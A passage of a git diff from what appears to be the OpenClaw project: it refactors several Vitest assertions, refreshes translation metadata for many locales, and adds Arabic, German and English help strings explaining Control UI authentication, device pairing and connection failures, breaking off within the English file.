@@ describe("scripts/openclaw-cross-os-release-checks", () => { "ubuntu", "windows", ]); - expect(matrix.include.every((entry) => entry.suite === "packaged-fresh")).toBe(true); + expect(matrix.include.map((entry) => entry.suite)).toEqual([ + "packaged-fresh", + "packaged-fresh", + "packaged-fresh", + ]); }); it("rejects unsupported cross-OS suite filter tokens", () => { diff --git a/test/scripts/plugin-prerelease-test-plan.test.ts b/test/scripts/plugin-prerelease-test-plan.test.ts index 6261ce3198b..62d826f9459 100644 --- a/test/scripts/plugin-prerelease-test-plan.test.ts +++ b/test/scripts/plugin-prerelease-test-plan.test.ts @@ -71,7 +71,7 @@ describe("scripts/lib/plugin-prerelease-test-plan.mjs", () => { const plan = createPluginPrereleaseTestPlan(); expect(plan.dockerLanes).not.toContain("openai-web-search-minimal"); - expect(plan.dockerLanes.some((lane) => lane.startsWith("live-"))).toBe(false); + expect(plan.dockerLanes.filter((lane) => lane.startsWith("live-"))).toEqual([]); expect(plan.staticChecks).toContainEqual({ check: "live-ish-availability", checkName: "checks-plugin-prerelease-live-ish-availability", diff --git a/test/vitest-scoped-config.test.ts b/test/vitest-scoped-config.test.ts index d4edaf16c67..b1e122852ca 100644 --- a/test/vitest-scoped-config.test.ts +++ b/test/vitest-scoped-config.test.ts @@ -81,6 +81,10 @@ function bundledExcludePatternCouldMatchFile(pattern: string, file: string): boo return false; } +function matchingExcludePatterns(patterns: string[], file: string): string[] { + return patterns.filter((pattern) => path.matchesGlob(file, pattern)); +} + describe("resolveVitestIsolation", () => { it("aliases private QA plugin SDK subpaths for source tests only", () => { expect(sharedVitestConfig.resolve.alias).toEqual( @@ -632,16 +636,12 @@ describe("scoped vitest configs", () => { it("keeps acpx tests out of the shared extensions lane", () => { const extensionExcludes = defaultExtensionsConfig.test?.exclude ?? []; - expect( - extensionExcludes.some((pattern) => path.matchesGlob("acpx/src/runtime.test.ts", pattern)), - ).toBe(true); + expect(matchingExcludePatterns(extensionExcludes, "acpx/src/runtime.test.ts")).not.toEqual([]); }); it("keeps diffs tests out of the shared extensions lane", () => { const extensionExcludes = defaultExtensionsConfig.test?.exclude ?? []; - expect( - extensionExcludes.some((pattern) => path.matchesGlob("diffs/src/render.test.ts", pattern)), - ).toBe(true); + expect(matchingExcludePatterns(extensionExcludes, "diffs/src/render.test.ts")).not.toEqual([]); }); it("keeps broad dedicated extension groups out of the shared extensions lane", () => { @@ -656,7 +656,7 @@ describe("scoped vitest configs", () => { "firecrawl/src/index.test.ts", "qa-lab/src/index.test.ts", ]) { - expect(extensionExcludes.some((pattern) => path.matchesGlob(file, pattern))).toBe(true); + expect(matchingExcludePatterns(extensionExcludes, file)).not.toEqual([]); } }); diff --git a/test/vitest-unit-fast-config.test.ts b/test/vitest-unit-fast-config.test.ts index 2d1c4c57a36..481c9a0f09b 100644 --- a/test/vitest-unit-fast-config.test.ts +++ b/test/vitest-unit-fast-config.test.ts @@ -103,7 +103,10 @@ describe("unit-fast vitest lane", () => { expect(unitFastTestFiles).toContain(file); expect(isUnitFastTestFile(file)).toBe(true); } - expect(forcedAnalysis.every((entry) => entry.forced && entry.unitFast)).toBe(true); + const unroutedForcedFiles = forcedAnalysis + .filter((entry) => !entry.forced || !entry.unitFast) + .map((entry) => ({ file: entry.file, forced: entry.forced, unitFast: entry.unitFast })); + expect(unroutedForcedFiles).toEqual([]); }); it("keeps broad audit candidates separate from automatically routed unit-fast tests", () => { diff --git a/test/web-provider-boundary.test.ts b/test/web-provider-boundary.test.ts index 6133b12bcfb..0be2870f288 100644 --- a/test/web-provider-boundary.test.ts +++ b/test/web-provider-boundary.test.ts @@ -1,4 +1,3 @@ -import { BUNDLED_PLUGIN_PATH_PREFIX } from "openclaw/plugin-sdk/test-fixtures"; import { describe, expect, it } from "vitest"; import { collectWebFetchProviderBoundaryViolations, @@ -43,9 +42,6 @@ describe("web provider boundaries", () => { const jsonOutput = await webSearchJsonOutputPromise; expect(inventory).toEqual([]); - expect(inventory.some((entry) => entry.file.startsWith(BUNDLED_PLUGIN_PATH_PREFIX))).toBe( - false, - ); expect( [...inventory].toSorted( (left, right) => diff --git a/ui/src/i18n/.i18n/ar.meta.json b/ui/src/i18n/.i18n/ar.meta.json index e38f7b209af..4cf0ba38546 100644 --- a/ui/src/i18n/.i18n/ar.meta.json +++ b/ui/src/i18n/.i18n/ar.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:42:19.907Z", + "generatedAt": "2026-05-08T04:13:40.051Z", "locale": "ar", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/de.meta.json b/ui/src/i18n/.i18n/de.meta.json index 26d6d859551..cb845aefc3c 100644 --- a/ui/src/i18n/.i18n/de.meta.json +++ b/ui/src/i18n/.i18n/de.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:14.851Z", + "generatedAt": "2026-05-08T04:13:38.691Z", "locale": "de", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/es.meta.json b/ui/src/i18n/.i18n/es.meta.json index b52a208f5b4..75fdf9671b2 100644 --- a/ui/src/i18n/.i18n/es.meta.json +++ b/ui/src/i18n/.i18n/es.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:08.735Z", + "generatedAt": "2026-05-08T04:13:38.962Z", "locale": "es", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/fa.meta.json b/ui/src/i18n/.i18n/fa.meta.json index 8fc697a6f23..b0ad950e59d 100644 --- a/ui/src/i18n/.i18n/fa.meta.json +++ b/ui/src/i18n/.i18n/fa.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:44:40.727Z", + "generatedAt": "2026-05-08T04:13:42.501Z", "locale": "fa", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/fr.meta.json b/ui/src/i18n/.i18n/fr.meta.json index a620a59284f..ae4a25b2a28 100644 --- a/ui/src/i18n/.i18n/fr.meta.json +++ b/ui/src/i18n/.i18n/fr.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:53.107Z", + "generatedAt": "2026-05-08T04:13:39.779Z", "locale": "fr", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/id.meta.json b/ui/src/i18n/.i18n/id.meta.json index e696f0077bb..bc6d69a42c9 100644 --- a/ui/src/i18n/.i18n/id.meta.json +++ b/ui/src/i18n/.i18n/id.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:13.759Z", + "generatedAt": "2026-05-08T04:13:41.135Z", "locale": "id", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/it.meta.json b/ui/src/i18n/.i18n/it.meta.json index 49d0b1f1a4b..41cb699d849 100644 --- a/ui/src/i18n/.i18n/it.meta.json +++ b/ui/src/i18n/.i18n/it.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:42:31.508Z", + "generatedAt": "2026-05-08T04:13:40.326Z", "locale": "it", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/ja-JP.meta.json b/ui/src/i18n/.i18n/ja-JP.meta.json index 2ed7c9f52d7..5e78871b2b8 100644 --- a/ui/src/i18n/.i18n/ja-JP.meta.json +++ b/ui/src/i18n/.i18n/ja-JP.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:19.248Z", + "generatedAt": "2026-05-08T04:13:39.234Z", "locale": "ja-JP", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/ko.meta.json b/ui/src/i18n/.i18n/ko.meta.json index 7e4a4a9a2e5..5802875e18a 100644 --- a/ui/src/i18n/.i18n/ko.meta.json +++ b/ui/src/i18n/.i18n/ko.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:21.669Z", + "generatedAt": "2026-05-08T04:13:39.508Z", "locale": "ko", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/nl.meta.json b/ui/src/i18n/.i18n/nl.meta.json index 2626b460761..0fb89352458 100644 --- a/ui/src/i18n/.i18n/nl.meta.json +++ b/ui/src/i18n/.i18n/nl.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:44:20.888Z", + "generatedAt": "2026-05-08T04:13:42.224Z", "locale": "nl", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/pl.meta.json b/ui/src/i18n/.i18n/pl.meta.json index c57ea478bc6..4727ca237b8 100644 --- a/ui/src/i18n/.i18n/pl.meta.json +++ b/ui/src/i18n/.i18n/pl.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:20.957Z", + "generatedAt": "2026-05-08T04:13:41.406Z", "locale": "pl", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/pt-BR.meta.json b/ui/src/i18n/.i18n/pt-BR.meta.json index db592db0c89..114bb97a574 100644 --- a/ui/src/i18n/.i18n/pt-BR.meta.json +++ b/ui/src/i18n/.i18n/pt-BR.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:44.939Z", + "generatedAt": "2026-05-08T04:13:38.421Z", "locale": "pt-BR", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/th.meta.json b/ui/src/i18n/.i18n/th.meta.json index 81e8aba8be5..9d6c1702655 100644 --- a/ui/src/i18n/.i18n/th.meta.json +++ b/ui/src/i18n/.i18n/th.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:42.396Z", + "generatedAt": "2026-05-08T04:13:41.675Z", "locale": "th", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/tr.meta.json b/ui/src/i18n/.i18n/tr.meta.json index 2c8855ba831..b63123af286 100644 --- a/ui/src/i18n/.i18n/tr.meta.json +++ b/ui/src/i18n/.i18n/tr.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:42:15.686Z", + "generatedAt": "2026-05-08T04:13:40.595Z", "locale": "tr", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/uk.meta.json b/ui/src/i18n/.i18n/uk.meta.json index e6992dbd583..eb5b3050f7e 100644 --- a/ui/src/i18n/.i18n/uk.meta.json +++ b/ui/src/i18n/.i18n/uk.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:08.733Z", + "generatedAt": "2026-05-08T04:13:40.867Z", "locale": "uk", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/vi.meta.json b/ui/src/i18n/.i18n/vi.meta.json index 80f66732d83..4b1aea3cb58 100644 --- a/ui/src/i18n/.i18n/vi.meta.json +++ b/ui/src/i18n/.i18n/vi.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:44:17.392Z", + "generatedAt": "2026-05-08T04:13:41.948Z", "locale": "vi", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/zh-CN.meta.json b/ui/src/i18n/.i18n/zh-CN.meta.json index fd083141f94..858ab080945 100644 --- a/ui/src/i18n/.i18n/zh-CN.meta.json +++ b/ui/src/i18n/.i18n/zh-CN.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:11.885Z", + "generatedAt": "2026-05-08T04:13:37.835Z", "locale": "zh-CN", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/zh-TW.meta.json b/ui/src/i18n/.i18n/zh-TW.meta.json index aa38e975473..c2f08ae665b 100644 --- a/ui/src/i18n/.i18n/zh-TW.meta.json +++ b/ui/src/i18n/.i18n/zh-TW.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:06.326Z", + "generatedAt": "2026-05-08T04:13:38.148Z", "locale": "zh-TW", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/locales/ar.ts b/ui/src/i18n/locales/ar.ts index 26ff3589a5e..111a5250907 100644 --- a/ui/src/i18n/locales/ar.ts +++ b/ui/src/i18n/locales/ar.ts @@ -929,6 +929,88 @@ export const ar: TranslationMap = { showPassword: "إظهار كلمة المرور", hidePassword: "إخفاء كلمة المرور", togglePasswordVisibility: "تبديل ظهور كلمة المرور", + failure: { + rawError: "الخطأ الخام", + docsAuth: "وثائق مصادقة Control UI", + docsPairing: "وثائق إقران الجهاز", + docsInsecure: "وثائق HTTP غير الآمن", + authRequired: { + title: "المصادقة مطلوبة", + summary: + "يمكن الوصول إلى Gateway، لكنه يحتاج إلى رمز مميز أو كلمة مرور مطابقة قبل أن يتمكن هذا المتصفح من الاتصال.", + stepPaste: "الصق الرمز المميز من openclaw dashboard --no-open أو أدخل كلمة المرور المكونة.", + stepGenerate: + "إذا لم يتم تكوين رمز مميز، فشغل openclaw doctor --generate-gateway-token على مضيف Gateway.", + stepConnect: "انقر على Connect مرة أخرى بعد تحديث بيانات الاعتماد.", + }, + authFailed: { + title: "بيانات المصادقة غير مطابقة", + summary: + "تم رفض بيانات الاعتماد المقدمة. السبب الأكثر شيوعا هو رمز مميز قديم أو رمز منسوخ من عنوان Gateway آخر.", + stepDashboard: + "شغل openclaw dashboard --no-open وافتح عنوان URL الجديد أو الصق رمزه المميز.", + stepReplace: + "استبدل قيم الرمز المميز/كلمة المرور القديمة؛ لا تعد استخدام رمز من عنوان Gateway آخر.", + stepMode: + "استخدم وضع مصادقة مطابقا واحدا في كل مرة: رمز gateway لوضع الرمز، أو كلمة المرور لوضع كلمة المرور.", + }, + rateLimited: { + title: "محاولات فاشلة كثيرة جدا", + summary: "يقيد Gateway مؤقتا محاولات المصادقة لهذا العميل.", + stepStop: "توقف عن إعادة المحاولة من هذه علامة التبويب للحظة.", + stepWait: "انتظر حتى يهدأ محدد المصادقة، ثم أعد الاتصال ببيانات الاعتماد المصححة.", + stepCheckClients: + "إذا كان هذا مضيفا مشتركا، فتحقق من العملاء الآخرين بحثا عن محاولات سيئة متكررة.", + }, + pairing: { + title: "إقران الجهاز مطلوب", + scopeTitle: "ترقية النطاق معلقة", + roleTitle: "ترقية الدور معلقة", + metadataTitle: "تحديث الجهاز معلق", + summary: "يحتاج هذا المتصفح إلى موافقة لمرة واحدة من مضيف Gateway قبل استخدام Control UI.", + upgradeSummary: + "هذا المتصفح معروف بالفعل، لكن الوصول المطلوب تغير ويحتاج إلى موافقة جديدة.", + stepList: "شغل openclaw devices list على مضيف Gateway.", + stepApproveId: "وافق على هذا الطلب: openclaw devices approve {requestId}.", + stepApprove: "وافق على طلب المتصفح/الجهاز المعلق من تلك القائمة.", + stepReconnect: "أعد الاتصال بعد اكتمال الموافقة.", + }, + insecure: { + title: "سياق متصفح آمن مطلوب", + summary: + "تعمل هذه الصفحة عبر HTTP عادي، لذلك لا يستطيع المتصفح إنشاء هوية الجهاز التي يتوقعها Gateway.", + stepHttps: "استخدم HTTPS/Tailscale Serve، أو افتح http://127.0.0.1:18789 على مضيف Gateway.", + stepLocalCompat: + "للتوافق المحلي بوضع الرمز فقط، عين gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "تجنب تعطيل مصادقة الجهاز للوصول عبر HTTP عن بعد.", + }, + origin: { + title: "أصل المتصفح غير مسموح", + summary: "رفض Gateway أصل هذه الصفحة قبل قبول اتصال Control UI.", + stepAllowedOrigins: "أضف أصل هذا المتصفح إلى gateway.controlUi.allowedOrigins.", + stepFullOrigin: "استخدم أصولا كاملة مثل http://localhost:5173، وليس أنماط أحرف بدل.", + stepRestart: "أعد تشغيل Gateway أو أعد تحميله بعد تغيير الأصول المسموح بها.", + }, + protocol: { + title: "عدم تطابق البروتوكول", + summary: "لا يتفق Control UI المقدم مع Gateway العامل على بروتوكول الاتصال المدعوم.", + stepDashboard: + "أعد فتح لوحة المعلومات المقدمة باستخدام openclaw dashboard حتى يأتي UI وGateway من التثبيت نفسه.", + stepDevUi: + "إذا كنت تستخدم pnpm ui:dev، فأعد بناء أو تشغيل واجهة التطوير مقابل checkout الحالي.", + stepRestart: "أعد تشغيل Gateway بعد تحديث OpenClaw حتى يقدم البروتوكول الحالي.", + }, + network: { + title: "تعذر الاتصال", + summary: + "لم يتمكن المتصفح من إكمال اتصال Gateway. تحقق من الهدف والنقل قبل إعادة تجربة بيانات الاعتماد.", + stepGateway: "تأكد من أن Gateway يعمل باستخدام openclaw status أو openclaw gateway run.", + stepUrl: + "تحقق من عنوان WebSocket واستخدم wss:// عندما يكون Gateway خلف HTTPS/Tailscale Serve.", + stepDashboard: + "أعد فتح لوحة المعلومات باستخدام openclaw dashboard --no-open لنسخ عنوان URL وتفاصيل المصادقة الحالية.", + }, + }, }, chat: { disconnected: "تم قطع الاتصال بـ Gateway.", diff --git a/ui/src/i18n/locales/de.ts b/ui/src/i18n/locales/de.ts index c5d73edb605..dd10fb6e7a6 100644 --- a/ui/src/i18n/locales/de.ts +++ b/ui/src/i18n/locales/de.ts @@ -943,6 +943,98 @@ export const de: TranslationMap = { showPassword: "Passwort anzeigen", hidePassword: "Passwort ausblenden", togglePasswordVisibility: "Sichtbarkeit des Passworts umschalten", + failure: { + rawError: "Rohfehler", + docsAuth: "Control-UI-Auth-Dokumentation", + docsPairing: "Dokumentation zur Gerätekopplung", + docsInsecure: "Dokumentation zu unsicherem HTTP", + authRequired: { + title: "Authentifizierung erforderlich", + summary: + "Das Gateway ist erreichbar, benötigt aber ein passendes Token oder Passwort, bevor dieser Browser eine Verbindung herstellen kann.", + stepPaste: + "Füge das Token aus openclaw dashboard --no-open ein oder gib das konfigurierte Passwort ein.", + stepGenerate: + "Wenn kein Token konfiguriert ist, führe openclaw doctor --generate-gateway-token auf dem Gateway-Host aus.", + stepConnect: "Klicke nach dem Aktualisieren der Zugangsdaten erneut auf Connect.", + }, + authFailed: { + title: "Authentifizierung passt nicht", + summary: + "Die angegebenen Zugangsdaten wurden abgelehnt. Häufigste Ursache ist ein veraltetes Token oder ein Token von einer anderen Gateway-URL.", + stepDashboard: + "Führe openclaw dashboard --no-open aus und öffne die frische URL oder füge ihr Token ein.", + stepReplace: + "Ersetze veraltete Token-/Passwortwerte; verwende kein Token von einer anderen Gateway-URL erneut.", + stepMode: + "Verwende jeweils nur einen passenden Auth-Modus: Gateway-Token für den Token-Modus, Passwort für den Passwortmodus.", + }, + rateLimited: { + title: "Zu viele fehlgeschlagene Versuche", + summary: "Das Gateway begrenzt vorübergehend Authentifizierungsversuche für diesen Client.", + stepStop: "Stoppe die Wiederholungsversuche aus diesem Tab für einen Moment.", + stepWait: + "Warte, bis der Auth-Limiter abgekühlt ist, und verbinde dich dann mit den korrigierten Zugangsdaten erneut.", + stepCheckClients: + "Wenn dies ein gemeinsam genutzter Host ist, prüfe andere Clients auf wiederholte falsche Versuche.", + }, + pairing: { + title: "Gerätekopplung erforderlich", + scopeTitle: "Scope-Upgrade ausstehend", + roleTitle: "Rollen-Upgrade ausstehend", + metadataTitle: "Geräteaktualisierung ausstehend", + summary: + "Dieser Browser benötigt eine einmalige Freigabe vom Gateway-Host, bevor er die Control UI verwenden kann.", + upgradeSummary: + "Dieser Browser ist bereits bekannt, aber der angeforderte Zugriff hat sich geändert und benötigt eine neue Freigabe.", + stepList: "Führe openclaw devices list auf dem Gateway-Host aus.", + stepApproveId: "Genehmige diese Anfrage: openclaw devices approve {requestId}.", + stepApprove: "Genehmige die ausstehende Browser-/Geräteanfrage aus dieser Liste.", + stepReconnect: "Verbinde dich erneut, nachdem die Freigabe abgeschlossen ist.", + }, + insecure: { + title: "Sicherer Browserkontext erforderlich", + summary: + "Diese Seite läuft über normales HTTP, daher kann der Browser die vom Gateway erwartete Geräteidentität nicht erstellen.", + stepHttps: + "Nutze HTTPS/Tailscale Serve oder öffne http://127.0.0.1:18789 auf dem Gateway-Host.", + stepLocalCompat: + "Für lokale Token-only-Kompatibilität setze gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: + "Vermeide es, Geräteauthentifizierung für entfernten HTTP-Zugriff zu deaktivieren.", + }, + origin: { + title: "Browser-Origin nicht erlaubt", + summary: + "Das Gateway hat diesen Seiten-Origin abgelehnt, bevor es die Control-UI-Verbindung akzeptiert hat.", + stepAllowedOrigins: "Füge diesen Browser-Origin zu gateway.controlUi.allowedOrigins hinzu.", + stepFullOrigin: + "Verwende vollständige Origins wie http://localhost:5173, keine Wildcard-Muster.", + stepRestart: "Starte oder lade das Gateway nach dem Ändern der erlaubten Origins neu.", + }, + protocol: { + title: "Protokoll stimmt nicht überein", + summary: + "Die bereitgestellte Control UI und das laufende Gateway stimmen beim unterstützten Verbindungsprotokoll nicht überein.", + stepDashboard: + "Öffne das bereitgestellte Dashboard mit openclaw dashboard erneut, damit UI und Gateway aus derselben Installation stammen.", + stepDevUi: + "Wenn du pnpm ui:dev verwendest, baue oder starte die Dev-UI gegen den aktuellen Checkout neu.", + stepRestart: + "Starte das Gateway nach dem Aktualisieren von OpenClaw neu, damit es das aktuelle Protokoll bereitstellt.", + }, + network: { + title: "Verbindung nicht möglich", + summary: + "Der Browser konnte die Gateway-Verbindung nicht abschließen. Prüfe Ziel und Transport, bevor du Zugangsdaten erneut versuchst.", + stepGateway: + "Bestätige mit openclaw status oder openclaw gateway run, dass das Gateway läuft.", + stepUrl: + "Prüfe die WebSocket-URL und verwende wss://, wenn das Gateway hinter HTTPS/Tailscale Serve liegt.", + stepDashboard: + "Öffne das Dashboard mit openclaw dashboard --no-open erneut, um die aktuelle URL und Auth-Details zu kopieren.", + }, + }, }, chat: { disconnected: "Verbindung zum Gateway getrennt.", diff --git a/ui/src/i18n/locales/en.ts b/ui/src/i18n/locales/en.ts index 5dacd0c35c1..d5a18dd5263 100644 --- a/ui/src/i18n/locales/en.ts +++ b/ui/src/i18n/locales/en.ts @@ -930,6 +930,93 @@ export const en: TranslationMap = { showPassword: "Show password", hidePassword: "Hide password", togglePasswordVisibility: "Toggle password visibility", + failure: { + rawError: "Raw error", + docsAuth: "Control UI auth docs", + docsPairing: "Device pairing docs", + docsInsecure: "Insecure HTTP docs", + authRequired: { + title: "Auth required", + summary: + "The Gateway is reachable, but it needs a matching token or password before this browser can connect.", + stepPaste: + "Paste the token from openclaw dashboard --no-open or enter the configured password.", + stepGenerate: + "If no token is configured, run openclaw doctor --generate-gateway-token on the gateway host.", + stepConnect: "Click Connect again after updating the credential.", + }, + authFailed: { + title: "Auth did not match", + summary: + "The supplied credential was rejected. The most common cause is a stale token or a token copied from another Gateway URL.", + stepDashboard: + "Run openclaw dashboard --no-open and open the fresh URL or paste its token.", + stepReplace: + "Replace stale token/password values; do not reuse a token from another Gateway URL.", + stepMode: + "Use one matching auth mode at a time: gateway token for token mode, password for password mode.", + }, + rateLimited: { + title: "Too many failed attempts", + summary: "The Gateway is temporarily limiting authentication attempts for this client.", + stepStop: "Stop retrying from this tab for a moment.", + stepWait: + "Wait for the auth limiter to cool down, then reconnect with the corrected credential.", + stepCheckClients: "If this is a shared host, check other clients for repeated bad retries.", + }, + pairing: { + title: "Device pairing required", + scopeTitle: "Scope upgrade pending", + roleTitle: "Role upgrade pending", + metadataTitle: "Device refresh pending", + summary: + "This browser needs one-time approval from the Gateway host before it can use the Control UI.", + upgradeSummary: + "This browser is already known, but the requested access changed and needs a fresh approval.", + stepList: "Run openclaw devices list on the Gateway host.", + stepApproveId: "Approve this request: openclaw devices approve {requestId}.", + stepApprove: "Approve the pending browser/device request from that list.", + stepReconnect: "Reconnect after the approval completes.", + }, + 